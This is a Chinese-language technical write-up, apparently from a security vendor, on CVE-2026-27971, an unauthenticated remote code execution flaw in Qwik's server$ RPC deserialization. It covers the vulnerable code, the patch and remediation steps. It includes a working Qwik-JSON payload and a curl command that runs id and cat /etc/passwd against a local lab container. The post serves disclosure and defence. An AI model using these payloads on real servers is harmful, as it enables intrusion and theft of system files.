我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

CVE-2026-27971:Qwik server$ 未经身份验证的远程代码执行

对 CVE-2026-27971 的技术解析:这是 Qwik(< 1.19.1)中一个 CVSS 9.2 的严重、未经身份验证的远程代码执行漏洞。server$ RPC 流程中的不安全反序列化允许从 application/qwik-json 请求中重建攻击者控制的 QRL 对象,从而实现任意模块路径和符号解析,并在 require() 可用时,通过精心构造的服务器端函数调用实现远程代码执行。

CVE-2026-27971

Qwik server$ 通过不安全反序列化实现的未经身份验证 RCE

2026 年 3 月 12 日 · CVSS 9.2 严重 · Qwik < 1.19.1

CVE ID CVSS 受影响版本 修复版本
CVE-2026-27971 9.2 严重 < 1.19.1 1.19.1+

CVE-2026-27971 概述:通过 server$ RPC 反序列化实现的 RCE

Qwik 的 server$ RPC 机制接受 application/qwik-json 请求,并将攻击者控制的对象反序列化为运行时的实时值。在存在漏洞的版本中,这条反序列化路径可以重建一个指向任意模块路径和符号名称的 QRL。如果服务器端运行时仍然可以使用原生的 require(),就可以滥用框架的服务器导入路径,加载攻击者选定的 CommonJS 模块,并使用攻击者控制的参数调用导出的函数。

该问题影响那些存在漏洞的服务器端 server$ 流程可被触达、且运行时可使用 require() 的部署。此问题已在 Qwik 1.19.1 中修复,在该版本中,服务器导入路径不再对不可信的 QRL 输入执行惰性动态导入。

实际上,一个未经身份验证的远程攻击者可以向以下地址发送精心构造的 POST 请求:

POST /?qfunc=sync
Content-Type: application/qwik-json
X-QRL: sync

并迫使服务器解析:

./node_modules/cross-spawn/index#sync

这会将请求正文转化为对 cross-spawn.sync(...) 的远程函数调用。

CVE-2026-27971 不安全的 server$ 解析:从 Qwik JSON 到 require()

将这一存在漏洞的行为理解为一个三步链条最为简单:

1. 请求正文由 Qwik 的 `_deserializeData()` 解析
2. 反序列化得到的 QRL 对象被当作合法的 `server$` 函数目标
3. 服务器导入路径通过 `require()` 解析攻击者控制的 chunk

请求关卡

服务器端的关卡很简单。如果 qfunc 查询参数、X-QRL 请求头和 Content-Type 请求头相互一致,该请求就会被当作一次 server$ 调用:

if (
  fn &&
  req.headers['x-qrl'] === fn &&
  req.headers['content-type'] === 'application/qwik-json'
) {
  const data = _deserializeData(body);
  if (Array.isArray(data)) {
    const [qrl, ...args] = data;
    if (qrl && typeof qrl.getSymbol === 'function' && qrl.getHash() === fn) {
      const resolvedFn = await importSymbol(qrl.$chunk$, qrl.$symbol$);
      const result = await resolvedFn.apply(null, args);
    }
  }
}

这并不是一个传统的 JSON API。攻击者发送的不是普通的函数名和参数,而是 Qwik 序列化后的对象图,它会在反序列化期间重建一个实时的 QRL 对象。

为什么该载荷能够生效

实验中使用的核心恶意载荷是:

{"_objs":["\u0002./node_modules/cross-spawn/index#sync","id",[],["0","1","2"]],"_entry":"3"}

经过 _deserializeData() 之后,它会变成:

[
  qrl("./node_modules/cross-spawn/index", "sync"),
  "id",
  []
]

因此,运行时最终会调用:

crossSpawn.sync("id", []);

危险的导入路径

存在漏洞的服务器端解析可以简化为以下形式:

async function importSymbol(url, symbolName) {
  let modulePath = String(url);
  if (!modulePath.endsWith('.js')) {
    modulePath += '.js';
  }

  const mod = require(modulePath);
  return mod[symbolName];
}

问题在于,url 和 symbolName 都来源于攻击者控制的序列化输入。一旦反序列化重建出 QRL,攻击者就同时控制了模块路径和要调用的导出项。

CVE-2026-27971 概念验证:实现远程代码执行

为了安全地验证该问题,我们搭建了一个本地 Docker 实验环境,配置如下:qwik-vuln 运行在 127.0.0.1:3000,使用 @builder.io/qwik@1.19.0

测试环境搭建

  • docker-compose.yaml
services:
  qwik-vuln:
    build:
      context: ./vulnerable
    ports:
      - "127.0.0.1:3000:3000"

漏洞利用

以下 curl 命令通过手动向存在漏洞的端点投递序列化后的 Qwik-JSON 载荷,实现了远程代码执行

curl -v -X POST "http://127.0.0.1:3000/?qfunc=sync" \
-H "Content-Type: application/qwik-json" \
-H "X-QRL: sync" \
-d '{"_objs":["\u0002./node_modules/cross-spawn/index#sync","cat","/etc/passwd",["2"],["0","1","3"]],"_entry":"4"}'

结果

存在漏洞的容器返回了:

使用 curl 实现远程代码执行
图 1:使用 curl 实现远程代码执行

这证实了通过反序列化的 server$ 调用链远程执行了 cat /etc/passwd。

CVE-2026-27971:Nuclei 验证模板

为了进行本地模板验证,我们创建了一个基于 id 的 Nuclei 模板:

Nuclei 模板检测验证
图 2:Nuclei 模板检测验证

存在漏洞的目标验证 存在漏洞的实验环境满足预期条件:

  • HTTP 200
  • 响应头中包含 application/qwik-json
  • 命令输出匹配 uid=,gid=

CVE-2026-27971:Qwik 1.19.1 中的修复

打上补丁后的行为移除了服务器运行时中那条危险的动态导入路径。服务器端的导入例程不再通过 require() 解析任意 chunk,而是采用失败即关闭(fail closed)的方式:

async function importSymbol(_url, symbolName) {
  const regSym = global.__qwik_reg_symbols?.get(getSymbolHash(symbolName));
  if (regSym) {
    return regSym;
  }
  throw new Error(`Dynamic import failed for symbol '${symbolName}'`);
}

这就是关键的安全变更。反序列化得到的 QRL 仍可能作为数据存在,但它不再会导致服务器端加载任意模块。

修复后控制项的验证

针对打了补丁的控制项运行同一个 nuclei 模板:

使用 Nuclei 验证修复后的控制项
图 3:使用 Nuclei 验证修复后的控制项

返回了:

HTTP/1.1 500 Internal Server Error
Content-Type: text/plain

Invalid request

立即修复措施

  • 将 Qwik 升级到 1.19.1 或更高版本
  • 避免在可使用原生 require() 的运行时上暴露存在漏洞的 server$ RPC 路径
  • 检查服务器端适配器或自定义 CJS 封装是否重新引入了动态模块解析

参考资料

资源 链接
Github 安全公告 GHSA-p9x5-jp3h-96mm https://github.com/advisories/GHSA-p9x5-jp3h-96mm
Nuclei 模板 https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-27971.yaml
NVD https://nvd.nist.gov/vuln/detail/CVE-2026-27971